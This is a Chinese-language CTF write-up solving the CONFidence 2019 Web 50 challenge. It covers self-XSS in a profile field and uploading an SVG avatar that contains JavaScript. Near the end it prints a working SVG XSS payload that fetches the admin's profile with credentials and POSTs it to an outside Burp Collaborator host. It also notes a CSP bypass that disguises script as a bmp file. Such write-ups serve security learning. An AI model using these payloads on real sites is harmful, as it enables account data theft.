CONFidence CTF 2019-Web 50分析思考

当时没做出来,也有看到外国大师傅用缓存投毒非预期的。我还是太菜了orz。
Imgur
首先是一个非常简陋的登陆页面,随手输入一个没人用的用户名,即可注册登陆。
Imgur
两个功能,一个报告bug,一个修改个人信息。经过简单fuzz之后明显可以发现报告bug页面是管理员查看该域名下的某处页面。
Imgur
而修改个人信息页面的shoesize可以selfxss,因为如果没有cookie的话页面是不会解析的。且不能看到用户的secret。
Imgur
同样可以看到admin的信息,但是不能看到secret。同时看到cookie里面有http-only,说明打不了cookie。

还有一个上头像功能,fuzz发现可以改后缀,但是无论上传什么后缀的文件content-type都是图片。
Imgur
随机就想到几年前的洞:SVG XSS的一个黑魔法
其实当时不止想到这一个,还有bmp、gif,但是那些都不行,不知道为啥我本地都复现不了bmp、gif那两个。当然了那两个是将js代码伪装在bmp文件中,当

<script src="1.bmp"></script>

引入的时候相当于执行了上传的js文件,这个可以用于绕过csp。
参考文章:https://blog.csdn.net/qq_27446553/article/details/45498489

而svg就不一样了。来看看svg到底是什么吧:https://zhuanlan.zhihu.com/p/36138381d
SVG 图像是矢量图像,可以无限缩放,而且在图像质量下降方面没有任何问题。为什么会这样呢?因为 SVG 图像是使用 XML 标记构建的,浏览器通过绘制每个点和线来打印它们,而不是用预定义的像素填充某些空间。这确保 SVG 图像可以适应不同的屏幕大小和分辨率,即使是那些尚未发明的。
由于是在 XML 中定义的,SVG 图像比 JPG 或 PNG 图像更灵活,而且我们可以使用 CSS 和 JavaScript 与它们进行交互。SVG 图像设置可以包含 CSS 和 JavaScript。
svg是在xml中定义的,所以可以执行xml代码,在xml代码里面嵌入css和js代码执行即可。
构造payload:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve">  <image id="image0" width="751" height="751" x="0" y="0"
    href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(1)</script>
</svg>

Imgur
测试成功。然后只要用js爬取http://web50.zajebistyc.tf/profile/admin 内容然后打到vps上。
最后在reportbug页面将图片地址提交进行csrf即可。

<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" id="Layer_1" x="0px" y="0px" width="100px" height="100px" viewBox="-12.5 -12.5 100 100" xml:space="preserve"> 
  ...
  <g>
    <polygon fill="#00B0D9" points="41.5,40 38.7,39.2 38.7,47.1 41.5,47.1 "></polygon>
    <script type="text/javascript">
      var xhr = new XMLHttpRequest();
      xhr.onreadystatechange = function() {
        if (xhr.readyState === 4) {
          var xhr2 = new XMLHttpRequest();
          xhr2.open("POST", "http://XXXX.burpcollaborator.net/");
          xhr2.send(xhr.responseText);
        }
      }   
      xhr.open("GET", "http://web50.zajebistyc.tf/profile/admin");
      xhr.withCredentials = true;
      xhr.send();
    </script>
  </g>
  ...
</svg>


0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注